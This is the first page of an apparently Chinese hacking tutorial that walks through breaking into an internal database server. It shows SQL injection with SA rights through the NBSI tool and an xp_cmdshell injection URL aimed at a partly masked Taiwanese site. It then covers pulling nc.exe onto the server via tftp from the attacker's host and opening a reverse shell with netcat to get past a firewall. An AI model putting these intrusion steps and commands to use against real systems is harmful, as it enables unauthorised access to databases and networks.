内网数据库攻击例子(图)
千里之堤，溃于蚁穴”，一个小小的漏洞就可以攻克一台机器，甚至占领整个内部网络。本文以一台机器为突破口，然后如何利用内网其它机器做跳板，最后控制目标机器（如果说利用一台机器上的某个站点来控制其它站点叫直接旁注的话，偶想把利用同一网内最弱的一台机器，来达到控制最强的机器叫问接旁注，比渗透入侵偶觉着好听点，其实方法很多牛人早用烂了，偶在这里现丑了）。
一、通过SQL注入漏洞，反向连接数据库机器。
利用NBSI扫描发现存在SQL注入漏洞，而且还是SA权限，如图1
利用NBSI的DOS执行命令，输入ipconfig –all 发现网址与WEB服务器不同，但是从网关上来看是在同一网段内。执行netstat –an查看数据库服务器所开的端口，发现很多1433端口都是WEB服务器连接，21，23，80端口没！利用NBSI的浏览目录功能，没发现机器上存在PCANYWHERE和SERV-U（利用它们可以远程控制，提升权限，或猜测口令）。利用net start 命令没发现如瑞星，KV等杀毒软件或防火墙服务，然后利用HSCAN1。2和NMAP3。7扫描数据库服务器的外网IP进，竟然没扫到一个开放的端口！（估计机器上装了硬件>防火墙！）对付防火墙，偶想到了反向链接，在本地开了一个TFTP，利用命令， tftp –I ip get nc.exe 很幸运的上传了一个NC上去，利用同样的方法也上传了一个MT。EXE（MT.EXE是一个网络管理方面的软件,依照yy3的说法,也就是 "七拼八凑来的，纯粹是图个方便。"可是这个方便个真的是太方便了,仅40K的一个程序，但是集合了近四十种的命令于一身）上去。也可以利用FTP命令，把FTP命令用ECHO命令写进一个文件里面，最后在用FTP –S：FILENAME来实现文件的下载。在本机利用NC监听66端口，命令如下：NC –L –P 66 ，远程机器上执行：NC –E CMD。EXEIP66不一会儿，一个SHELL就出来了（还是在这里面运行命令爽啊，在NBSI里憋死了，有时在NBSI里执行命令时会出现“意外数据”，还要被破在游览器里执行_cmdshell%20'dos">http://www.***.com.tw/***/***.asp?mode=1&ID=256;exec%20master..xp_cmdshell%20'dos command';--）利用net view命令查看共有三台机器！如
在利用命令：NET VIEW \\机器名时得到的内容为空，看来是没共享目录啊！
[1] [2] [3] [4] 下一页
[组图]内网数据库攻击例子(图)
您现在的位置：